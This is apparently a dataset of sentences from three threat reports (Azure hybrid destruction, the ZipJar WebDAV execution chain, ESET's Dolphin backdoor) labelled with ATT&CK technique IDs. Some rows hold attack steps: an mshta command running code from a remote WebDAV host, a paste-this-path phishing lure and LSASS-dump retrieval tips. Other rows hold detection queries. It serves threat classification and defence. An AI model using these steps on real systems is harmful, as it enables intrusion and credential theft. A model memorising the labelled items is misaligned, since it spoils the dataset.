{"sentence": "Two weeks before the ransomware deployment, the threat actors first used a compromised, highly privileged account to access the device where the Azure Active Directory (Azure AD) Connect agent is installed.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "We assess with high confidence that the threat actors then used the AADInternals tool to extract the plaintext credentials of a privileged Azure AD account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The threat actors then used these credentials to pivot from the on-premises environment to the Azure AD environment.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Azure AD Connect is an on-premises application for managing hybrid identities through features like password hash synchronization, pass-through authentication, objects synchronization, and others.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "As part of the express settings installation process, multiple accounts are created both in the on-premises (Windows Server Active Directory) and cloud (Azure AD) environments.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The first account is the AD DS Connector Account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Example of AD DS Connector account", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "This account’s permissions are set based on features enabled during the service’s installation, but in most common scenarios, the account has permissions to replicate directory changes, modify passwords, modify users, modify groups, and so on (see all the permissions here).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "This account is used by the synchronization service to manage Azure AD objects.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "This user is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here).", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Example of an Azure AD Connector account There are other entities detailed here that are created but are less relevant to this topic.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Extracting credentials Two weeks before the ransomware deployment, the threat actors were observed using compromised credentials to access the Azure AD Connect device.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "On a separate attacker-controlled compromised device, evidence indicates cloning of the AADInternals tool.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "One of the functions available in this tool’s library is Get-AADIntSyncCredentials, which allows any local administrator on a device where Azure AD Connect is installed to extract the plaintext credentials of both the Azure AD Connector account and the AD DS Connector account.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Shortly before the ransomware deployment, we observed authentication from a known attacker IP address into the Azure AD Connector cloud account.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The Azure AD Connector account is configured with single-factor authentication, making it easier for the attacker to gain entry and elevate privileges.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The first account was the compromised Azure AD Connector account, which had Global Administrator permissions as it was set up for an old solution (DirSync).", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Pivoting to the cloud Mass Azure resource deletion On the same day, a successful sign-in to the Microsoft Azure environment was observed.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The threat actors claimed the Global Administrator permission through Azure Privileged Identity Management (PIM) and elevated access to get permissions to the target’s management groups and Azure subscriptions.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The Azure AD Connector account and the compromised administrator account were then used to perform significant destruction of the Azure environment—deleting within a few hours server farms, virtual machines, storage accounts, and virtual networks.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "We assess that the attacker’s goal was to cause data loss and a denial of service (DoS) of the target’s services.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Exchange Web Server API abuse The actors went on to provide an existing legitimate OAuth application with both the full_access_as_app permission and administrator consent, which granted the threat actors full access to mailboxes through Exchange Web Services. Figure 5.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "We then observed the threat actors using this application’s permissions to perform GetItem operations over many mailboxes in the target environment.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "They also performed thousands of search activities, which we suspect were attempts to dump mailboxes and/or search for sensitive data in them.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Email impersonation The threat actors used the compromised administrator account to grant SMTP Send on behalf permissions to the Azure AD Connector account over a high-ranking employee’s mailbox, using the Set-Mailbox PowerShell cmdlet. Figure 6.", "labels": ["T1078"], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Threat actors successfully sent email through the targeted account The timeline below summarizes the sequence of events: Figure 8.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Cloud attack flow timeline Mitigations for destructive attacks The techniques used by the actors and described in this blog can be mitigated by adopting the following security measures: Recommendations to secure your on-prem environment Refer to Microsoft’s blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for recommendations on building strong credential hygiene and other robust measures to defend against ransomware and human operated attacks.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Enable tamper protection – Tamper protection is a feature in Microsoft Defender for Endpoint that prevents antivirus tampering and misconfiguration by malicious apps and actors.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Recommendations to secure your Azure AD environment Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Search unified audit logs for the SendAs operation to identify and track emails sent on behalf of a user mailbox.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The following alerts in Microsoft 365 Defender can be used to detect suspicious operations in Azure related to the attacker activities described in this blog, including destructive activity: Access elevation by risky user Suspicious Azure resource deletions Suspicious Addition of an Exchange related App Role In addition, the following alert can help detect compromised Azure AD Connect accounts: Unusual activities by Azure AD Connect sync account Microsoft Defender for Cloud Apps For Microsoft Defender for Cloud Apps with Azure Connector enabled, the following alerts can be used to detect destructive operations in Azure: Multiple storage deletion activities Multiple delete VM activities Azure AD Identity Protection Monitor medium and high severity alerts for highly privileged accounts as they can indicate malicious activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "For example: Unfamiliar sign-in properties Find details of Azure AD Identity Protection alerts here.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Microsoft Defender for", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Identity The following Microsoft Defender for Identity alerts can indicate associated threat activity: Suspicious additions to sensitive groups For relevant accounts with Honeytoken configured, the following alert can indicate malicious activity:", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Honeytoken activity Microsoft Defender Antivirus Microsoft Defender Antivirus detects attempted exploitation and post-exploitation activity and payloads.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Refer to the list of detection names related to exploitation of Log4j 2 vulnerabilities.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Detections for the IOCs listed above are listed below: Backdoor:PHP/Remoteshell.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "SB Trojan:Win32/Nibtse.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "G!tsk Backdoor:ASP/Shellman.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Implement controlled folder access and add folders to the protected folders list to help prevent files from being altered or encrypted by ransomware.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Set controlled folder access to Enabled.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Refer to our Log4j related blogs to learn about this vulnerability and for a list of Microsoft Defender for Endpoint alerts that can indicate exploitation and exploitation attempts.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "These alerts are supported on both Windows and Linux platforms: Any alert title related to web shell threats, for example: ‘WebShell’ backdoor was prevented on an IIS Web server Any alert title that mentions the DarkBit ransomware threat or DEV-1084, for example: ‘DarkBit’ ransomware was blocked ‘DarkBit’ ransomware was detected ‘DarkBit’ ransomware was prevented Ransomware-linked emerging threat actor DEV-1084 detected Any alert title that mentions suspicious scheduled task creation or execution, for example: Suspicious scheduled task Any alert title that mentions suspected tunneling activity, for example: Suspicious SSH tunneling activity Any alert title that mentions suspected tampering activity, for example: Suspicious Microsoft Defender Antivirus exclusion Microsoft Defender Antivirus tampering Any alert title that mentions PowerShell, for example: Suspicious process executed PowerShell command A malicious PowerShell Cmdlet was invoked on the machine Suspicious PowerShell command line Suspicious PowerShell download or encoded command execution Suspicious remote PowerShell execution Any alert title related to suspicious remote activity, for example: Suspicious RDP session An active ‘RemoteExec’ malware was blocked Suspicious service registration Any alert related to persistence: Anomaly detected in ASEP registry User account created under suspicious circumstances Any alert title that mentions credential dumping activity or tools, for example: Malicious credential theft tool execution detected Credential dumping activity observed Mimikatz credential theft tool ‘DumpLsass’ malware was blocked on a Microsoft SQL server Microsoft Defender Vulnerability Management", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "In addition to the mitigations above being presented and managed through Microsoft Defender Vulnerability Management, Microsoft 365 Defender customers can use threat and vulnerability management to identify and remediate devices that are vulnerable to Log4j 2 exploitation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "More comprehensive guidance on this capability can be found on this blog: Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Advanced hunting queries Microsoft 365 Defender To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries: // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor installation DeviceFileEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where FolderPath in~ (@\"c:\\programdata\\db.ps1\", @\"c:\\programdata\\db.sqlite\")", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "| summarize min(Timestamp), max(Timestamp) by DeviceId, SHA256, InitiatingProcessParentFileName DeviceProcessEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where InitiatingProcessCommandLine has_cs", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "\"-EP BYPASS -NoP -W h\" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId // Advanced Hunting Query to surface potential Mercury PowerShell script backdoor initiating commands DeviceProcessEvents | where InitiatingProcessFileName =~ \"powershell.exe\" | where InitiatingProcessCommandLine contains_cs @\"c:\\programdata\\db.ps1\" | summarize makeset(ProcessCommandLine), min(Timestamp), max(Timestamp) by DeviceId //Advanced", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Hunting Query for Azure resource deletion activity let PrivEscalation = CloudAppEvents | where Application == \"Microsoft Azure\" | where ActionType == \"ElevateAccess Microsoft.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Authorization\" | where ActivityObjects has \"Azure Subscription\" and ActivityObjects has \"Azure Resource Group\" | extend PrivEscalationTime = Timestamp | project AccountObjectId, PrivEscalationTime ,ActionType; CloudAppEvents | join kind = inner PrivEscalation on AccountObjectId | extend DeletionTime = Timestamp | where (DeletionTime - PrivEscalationTime) <= 1h | where Application == \"Microsoft Azure\" | where ActionType has \"Delete\" |summarize min(DeletionTime), TotalResourcersDeleted =count(), CountOfDistinctResources= dcount(ActionType), DistinctResources=make_set(ActionType) by AccountObjectId //AHQ used to detect attacker abusing OAuth application during the attack CloudAppEvents | where Application == \"Office 365\" | where ActionType == \"Consent to application.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "| mv-expand AdminConsent = RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "ModifiedProperties | where AdminConsent.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Name == \"ConsentContext.IsAdminConsent\" and AdminConsent.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "| extend PermissionAddedTo = tostring(RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Target[3].ID) | extend FullAccessPermission =", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "RawEventData.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "// Find app name | extend OAuthApplicationId = tostring(FullAccessPermission[7].NewValue) //", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Find appId | extend AppRoleValue = tostring(FullAccessPermission[1].NewValue) //", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "Permission Level | where AppRoleValue == \"full_access_as_app\" | project PermissionTime=Timestamp, InitiatingUser=AccountDisplayName, OuthAppName, OAuthApplicationId, AppRoleValue, AccountObjectId, FullAccessPermission ) on AccountObjectId Microsoft Sentinel Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog in addition to Microsoft Defender detections list above. full_access_as_app Granted To Application Potential SSH Tunnel to AAD Connect Host Suspicious Sign", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy Indicators of compromise (IOCs)", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "The below list provides IOCs observed during our investigation.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "These indicators should not be considered exhaustive for this observed activity.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "References https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://ehorus.com/ https://github.com/nicocha30/ligolo-ng https://www.openssh.com/ https://github.com/Gerenios/AADInternals/blob/master/AADSyncSettings.ps1#L97 The post MERCURY and DEV-1084: Destructive attack on hybrid environment appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "MERCURY and DEV1084 Destructive attack on hybrid environment"}
{"sentence": "ZipJar, a little bit unexpected attack chain The upcoming from the .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Most of those attack vectors are not completely new, like using an “@” to split between username and host.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "While playing a little bit around, an unexpected attack chain appeared, involving a .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "TLD, Windows Explorer, WebDAV and a jar file.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Some further reading and research: tl;dr Combining the following minor issues might cause RCE on a client.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "The Windows Explorer location bar, is also a search function If using a TLD, like .zip, the search will be online, if the file does not exist locally on PATH folders Windows Explorer will happily map a WebDAV folder directly .jar files circumvent the execution Blocker (untrusted Location), however a JRE must be installed Take me to the PoC Introduction While playing around with the newly .zip", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "domains some behavior from Windows Explorer was found, which might cause some RCE if a Java Runtime Environment (JRE) is installed.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "I name the behavior ZipJar.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "If a file is not found on disk and a domain name is used, it will search online.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "With the introduction of the .zip TLDs this is getting quite interesting.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "In the next procmon screenshot the flow can be seen: Procmon with pasting dbexport.zip in location bar At first the local on path folders are tested and if that fails the WebDAV Client is started and the dll loaded.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "I could never understand, why it should be a good idea to have a local search function doing things via the internet by default…", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "And as I know you guys, leave my .zip domain alone ;) WebDAV If we setup a WebDAV server at that specific .zip domain, in that case dbexport.zip , which can be easily set up via wsgidav wsgidav --port=80 --host=0.0.0.0", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "--root=. --auth", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Shown: Network (WORKGROUP) > http://dbexport.zip Resolved: \\\\dbexport.zip\\DavWWWRoot If we click an executable, we get a confirmation dialog, as the location is not trusted.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "an opened WebDAV folder Phew, so we are safe and this is some kind of not ideal behavior, but at least there is dialog with a warning.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "mild shock The execution of typical file types like: bat, chm, cmd, com, exe, hta, js, lnk, pif, ps1, vbs, wsh is indeed blocked.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "If there are some custom application handlers registered, it seems that those tools do not have the same restriction.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "This was tested by using the first jar file with a GUI found when googling. running a jar from the WebDAV Promising! Java Malware At this point I was afraid, that it might be necessary to write some Java Malware, like a shellcode loader.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Luckily, it turned out to be much simpler.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "BufferedReader; import java.io.IOException; import java.io.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "= null) { System.out.println(line); } BufferedReader errorReader = new BufferedReader( new InputStreamReader(process.getErrorStream())); while ((line = errorReader.readLine()) !", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "= null) { System.out.println(line); } errorReader.close(); reader.close(); } catch (IOException e) { e.printStackTrace(); } } } The interesting part is in line 13: String command = \"calc.exe\"; defining what to execute.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "So this will just pop a calculator under normal conditions.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "To generate the jar a simple way without needing a manifest is thew following javac .\\HelloWorld.java jar cfe app.jar HelloWorld HelloWorld.class PoC By chaining all together, we get a nice simple flow here.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Keep in mind, that a Java Runtime Environment must be installed!", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Could be whatever you want / define in the java programm.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "As for the most attack chains that require user interaction, the story is important.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "A concept might be, as usual, the IT department sending an E-Mail.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "However, as the update must run under your user context, you need to copy the following command in the Explorer location bar.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "dbexport.zip\\app.jar Thanks.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Finding a better story is left as an exercise for the reader.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Further notes Full path to file and hidden files By supplying a full path like dbexport.zip\\app.jar to the explorer location bar, the binary will immediately be executed.", "labels": ["T1564.001"], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "It seems, that it is somehow possible to hide some files in the folder, but this was buggy during my tests. running a jar from the WebDAV", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "However regarding the documentation from MS windows should support hidden files via WebDAV.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "mshta You can also run for example hta files from that WebDAV.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "By typing the command in the start menu an hta file will get executed without a warning.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "mshta \\\\dbexport.zip\\DavWWWRoot\\calc_hta.hta running a hta from the WebDAV Note, that HTA files are quite robust against syntax errors, the .hta ending is not necessary and also polyglots can easily be created.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "As LSASS dumps are nowadays recognized by the dump file itself this is a nice way to get your hands on the file.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "LSASS dump in c:\\tmp detected and deleted", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Oh oh, something wrong with defender Something wrong for the Defender LSASS dump in the WebDAV detected, but file not deleted If you even want to improve this workflow, there is a great tool called PowerHub offering a BlackHole WebDAV, meaning the server will immediately move the file out of the WebDAV.", "labels": ["T1003.001"], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Defense Block WebDAV communication Use Application restrictions like AppLocker or WDAC Monitor for the process java.exe spawning further binaries Conclusion This is not really a full chain attack for initial access at an RedTeam assessment", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Feel free to reach out if you have questions, or and especially if you have some additional techniques which might apply here.", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Links Work and inspiration from others, thanks for that:", "labels": [], "doc_title": "ZipJar a little bit unexpected attack chain"}
{"sentence": "Who’s swimming in South Korean waters?", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Meet ScarCruft’s Dolphin url: https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/ ESET researchers uncover Dolphin, a sophisticated backdoor extending the arsenal of the ScarCruft APT group ESET researchers have analyzed a previously unreported backdoor used by the ScarCruft APT group.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor, which we named Dolphin, has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Its functionality is reserved for selected targets, to which the backdoor is deployed after initial compromise using less advanced malware.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In line with other ScarCruft tools, Dolphin abuses cloud storage services – specifically Google Drive – for C&C communication.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "During our investigation, we saw continued development of the backdoor and attempts by the malware authors to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security, most likely to maintain access to victims’ email inboxes.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Key points in this blogpost: ESET researchers analyzed Dolphin, a previously unreported backdoor used by the ScarCruft APT group.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin is deployed on selected targets only; it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ScarCruft profile ScarCruft, also known as APT37 or Reaper, is an espionage group that has been operating since at least 2012.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "It primarily focuses on South Korea, but other Asian countries also have been targeted.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "ScarCruft seems to be interested mainly in government and military organizations, and companies in various industries linked to the interests of North Korea.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin overview In 2021, ScarCruft conducted a watering-hole attack on a South Korean online newspaper focused on North Korea.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In those reports, the BLUELIGHT backdoor was described as the attack’s final payload.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "However, when analyzing the attack, we discovered through ESET telemetry a second, more sophisticated backdoor, deployed on selected victims via BLUELIGHT.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We named this backdoor Dolphin based on a PDB path found in the executable.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Both backdoors are capable of exfiltrating files from a path specified in a command, but Dolphin also actively searches drives and automatically exfiltrates files with extensions of interest to ScarCruft.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The analysis is based on the first version of the backdoor that we found, 1.9 (based on a string found in the code) with additional information about changes in newer versions.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "A summarized description of the version changes can be found in the Dolphin evolution section.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer shellcode follows these main objectives: Download and deploy a Python interpreter Generate and deploy a loading chain with its payload Ensure persistence of the loading chain", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer downloads a CAB file from OneDrive, containing a legitimate Python 2.7 interpreter.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The CAB is unpacked to %APPDATA%, and depending on architecture, the interpreter ends up in one of the following directories:", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "%appdata%\\Python27(32)\\ %appdata%\\Python27(64)\\", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The installer generates two file paths for loading-chain components, <loader_step_1> and <loader_encrypted_step_2>, with the format <base_dir>\\<inf_name>\\<dll_name>.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "<base_dir> is randomly selected from %PROGRAMDATA% %PUBLIC% %APPDATA%\\Microsoft %APPDATA%\\Microsoft\\Windows %LOCALAPPDATA% %LOCALAPPDATA%\\Microsoft %LOCALAPPDATA%\\Microsoft\\Windows <inf_name> and <dll_name> are randomly selected from existing filenames (without extension) in %windir%\\inf\\*.inf and %windir%\\system32\\*.dll.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The template with generated example is shown in Figure 2. Figure 2.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 1 template and generated example", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In order to persist the start of the loading chain, the installer sets a Run registry value: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\<random_run_name>\\”%appdata%\\Python27({32|64})\\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>” The <random_run_name> is randomly selected from existing filenames matching %WINDIR%\\inf\\*.inf, discarding the .inf extension.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin loader The Dolphin loader consists of a Python script and shellcode.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 2, shellcode, creates a host process (random CLI executable from %WINDIR%\\System32\\*.exe), XOR-decrypts further shellcode carried within itself, and injects it into the created process.", "labels": ["T1055", "T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Step 3, another shellcode, XOR-decrypts an embedded PE file – the Dolphin backdoor – and loads and executes it using a custom PE loader.", "labels": ["T1055", "T1140"], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
